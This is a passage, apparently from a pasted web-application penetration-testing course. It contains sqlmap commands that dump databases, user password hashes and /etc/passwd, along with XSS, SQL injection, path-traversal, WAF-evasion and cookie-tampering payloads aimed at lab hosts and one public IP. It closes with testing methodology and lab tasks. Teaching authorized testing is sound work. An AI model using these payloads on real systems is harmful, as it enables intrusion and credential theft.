  1991. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
  1992.  
  1993.  
  1994. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
  1995.  
  1996.  
  1997. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
  1998.  
  1999.  
  2000. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
  2001.  
  2002.  
  2003.  
  2004.  
  2005.  
  2006.  
  2007.  
  2008. #########################################
  2009. # Let's kick it up a notch with ASP.NET #
  2010. # http://10.0.0.121/ #
  2011. #########################################
  2012.  
  2013.  
  2014. The trading Web App is on http://10.0.0.121/
  2015.  
  2016.  
  2017. Try the following in the search box:
  2018. <script>alert(123);</script>
  2019. ' or 1=1
  2020. ' and a=a
  2021. 1=1
  2022. Joe'+OR+1=1;--
  2023.  
  2024.  
  2025. <script>alert(123);</script>
  2026.  
  2027. Open a new tab in firefox and try this:
  2028. http://10.0.0.121/Searchresult.aspx?<script>alert(123);</script>=ScriptName
  2029.  
  2030.  
  2031. Try the contact us form.
  2032. Open a new tab in firefox and try this:
  2033. http://10.0.0.121/OpenPage.aspx?filename=../../../../../../windows/win.ini
  2034.  
  2035. Try this on the inquiry form:
  2036. Joe McCray
  2037. 1234567890
  2038. joe@strategicsec.com') waitfor delay '00:00:10'--
  2039.  
  2040.  
  2041. Login Box:
  2042.  
  2043. ' or 1=1 or ''='
  2044. anything (click login instead of pressing enter)
  2045.  
  2046.  
  2047.  
  2048. Tamper Data: (notice 2 session IDs)
  2049.  
  2050. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  2051. IsAdmin=yes;
  2052. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  2053.  
  2054.  
  2055.  
  2056. Profile - Detail (tamper data)
  2057. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  2058. joe|set
  2059.  
  2060.  
  2061. xss_upload.txt (Upload Bulk Order)
  2062. <script>alert(123);</script>
  2063.  
  2064.  
  2065.  
  2066. ############################
  2067. # Trading Web App with WAF #
  2068. # http://10.0.0.94 #
  2069. ############################
  2070.  
  2071.  
  2072. Try the following in the search box:
  2073. <script>alert(123);</script>
  2074. <script>alert(123);</script
  2075. <script>alert(123)
  2076. <script>alert
  2077. <script>
  2078. <script
  2079. <scrip
  2080. <scri
  2081. <scr
  2082. <sc
  2083. <s
  2084. <p
  2085. <
  2086. < s
  2087. Joe'+OR+1=1;--
  2088.  
  2089.  
  2090. Open a new tab in firefox and try this:
  2091. http://10.0.0.94/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  2092.  
  2093.  
  2094. xss_upload.txt (Upload Bulk Order)
  2095. <script>alert(123);</script>
  2096.  
  2097.  
  2098. Login Box:
  2099.  
  2100. ' or 1=1 or ''='
  2101. anything
  2102.  
  2103.  
  2104.  
  2105. Tamper Data: (notice 2 session IDs)
  2106.  
  2107. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  2108. IsAdmin=yes;
  2109. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  2110.  
  2111.  
  2112.  
  2113. Profile - Detail (tamper data)
  2114. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  2115. joe|set
  2116.  
  2117.  
  2118.  
  2119.  
  2120.  
  2121.  
  2122.  
  2123. ###########################################################
  2124. # Attacking an Oracle/JSP based WebApp with SQL Injection #
  2125. ###########################################################
  2126.  
  2127.  
  2128.  
  2129.  
  2130.  
  2131. http://10.0.0.23:8081/bookcompany/
  2132.  
  2133.  
  2134. user: a' OR 'a'='a
  2135. pass: a' OR 'a'='a
  2136.  
  2137.  
  2138.  
  2139.  
  2140.  
  2141.  
  2142.  
  2143. http://10.0.0.23:8081/bookcompany/author.jsp?id=111
  2144.  
  2145.  
  2146. [ Search by Username ] Joe' OR 'a'='a
  2147.  
  2148.  
  2149.  
  2150.  
  2151.  
  2152.  
  2153.  
  2154.  
  2155.  
  2156.  
  2157.  
  2158.  
  2159. http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1
  2160.  
  2161.  
  2162.  
  2163. http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
  2164.  
  2165.  
  2166.  
  2167.  
  2168.  
  2169.  
  2170.  
  2171.  
  2172.  
  2173.  
  2174.  
  2175. http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
  2176.  
  2177.  
  2178. Host is running:
  2179.  
  2180.  
  2181.  
  2182.  
  2183.  
  2184. http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
  2185.  
  2186. User is:
  2187.  
  2188.  
  2189.  
  2190.  
  2191.  
  2192. http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
  2193.  
  2194. Current database is:
  2195.  
  2196.  
  2197. cd /home/infosecaddicts/toolz/sqlmap-dev/
  2198. python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" -b
  2199. python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-user
  2200. python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-db
  2201. python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --dbs
  2202. python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --users --passwords
  2203. Y
  2204. 1
  2205.  
  2206.  
  2207.  
  2208. ###############################################################
  2209. # Question 1: What is the process that you use when you test? #
  2210. ###############################################################
  2211.  
  2212. Step 1: Automated Testing
  2213.  
  2214. Step 1a: Web Application vulnerability scanners
  2215. -----------------------------------------------
  2216. - Run two (2) unauthenticated vulnerability scans against the target
  2217. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  2218. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  2219.  
  2220. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  2221.  
  2222. A good web application vulnerability scanner comparison website is here:
  2223. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  2224.  
  2225.  
  2226. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  2227.  
  2228. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  2229.  
  2230.  
  2231. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  2232.  
  2233.  
  2234. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  2235.  
  2236.  
  2237.  
  2238. Step 1b: Directory Brute Forcer
  2239. -------------------------------
  2240. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  2241.  
  2242.  
  2243.  
  2244. Step 2: Manual Testing
  2245.  
  2246. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  2247.  
  2248. Step 2a: Spider/Scan the entire site with Burp Suite
  2249. Save the spider and scan results. I usually provide this data to the customer as well.
  2250.  
  2251.  
  2252. Step 2b: Browse through the site using the 3 question method
  2253. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  2254.  
  2255. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  2256.  
  2257. Here is what I mean:
  2258. http://www.site.com/page.aspx?parametername=parametervalue
  2259.  
  2260. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  2261.  
  2262. http://www.site.com/page.aspx?parametername=[ payload ]
  2263.  
  2264. You need to ensure that you send the payload this way, and like this below:
  2265.  
  2266. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  2267.  
  2268. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  2269.  
  2270.  
  2271.  
  2272.  
  2273.  
  2274.  
  2275.  
  2276. ###########################################
  2277. # Question 2: How much fuzzing is enough? #
  2278. ###########################################
  2279. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  2280.  
  2281. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  2282.  
  2283.  
  2284. Step 1: Ask yourself the 3 questions per page of the site.
  2285.  
  2286. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  2287.  
  2288. Step 3: When you load your fuzz strings - use the following decision tree
  2289.  
  2290. - Are the fuzz strings causing a default error message (example 404)?
  2291. - If this is the case then it is most likely NOT vulnerable
  2292.  
  2293. - Are the fuzz strings causing a WAF or LB custom error message?
  2294. - If this is the case then you need to find an encoding method to bypass
  2295.  
  2296.  
  2297. - Are the fuzz strings causing an error message that discloses the backend type?
  2298. - If yes, then identify DB type and find correct syntax to successfully exploit
  2299. - Some example strings that I use are:
  2300. '
  2301. "
  2302. () <----- Take the parameter value and put it in parenthesis
  2303. (5-1) <----- See if you can perform an arithmetic function
  2304.  
  2305.  
  2306. - Are the fuzz strings rendering executable code?
  2307. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  2308. - Some example strings that I use are:
  2309. <b>hello</b>
  2310. <u>hello</u>
  2311. <script>alert(123);</script>
  2312. <script>alert(xss);</script>
  2313. <script>alert('xss');</script>
  2314. <script>alert("xss");</script>
  2315.  
  2316.  
  2317.  
  2318.  
  2319.  
  2320. ************************ Class Challenge ************************
  2321.  
  2322. Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
  2323.  
  2324. Here are some sample web app penetration test reports from other companies that you can look at:
  2325. https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
  2326.  
  2327. I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
  2328.  
  2329.  
  2330.  
  2331.  
  2332.  
  2333. #########
  2334. # Day 5 #
  2335. #########
  2336.  
  2337. Today you finally get the chance to take a step into the world of penetration testing.
  2338.  
  2339.  
  2340. Day 5 Task 1
  2341. We'll start by having your do a job interview for the position of junior penetration tester. Here are the questions:
  2342. https://goo.gl/forms/l2cMNg1F50kLQsHG2
  2343.  
  2344.  
  2345.  
  2346. Day 5 Task 2
  2347. Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible.
  2348. You'll each be given access to the Googele Drive where all of the resources to complete this task are located.
  2349.  
  2350.  
  2351.  
  2352.  
  2353. Day 5 Task 3
  2354. Use nmap to map the target network (10.0.0.0/24).
  2355.  
  2356. Task 3a) Identify the number of reachable hosts.
  2357.  
  2358. Task 3b) Identify the number of open ports per hosts.
  2359.  
  2360. Task 3c) Identify the software versions of each application running on each exposed port on each host in the environment.
  2361.  
  2362. Task 3d) Identify the vulnerable services on each host in the target network along with their exploit-db.com ID number
  2363.  
  2364. Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
  2365.  
  2366.  
  2367.  
  2368.  
  2369. Day 5 Task 4
  2370. Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24).
  2371.  
  2372. Reference:
  2373. http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
  2374.  
  2375.  
  2376.  
  2377.  
  2378. Day 5 Task 5
  2379. Populate the findings spreadsheet with as much detail as possible
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement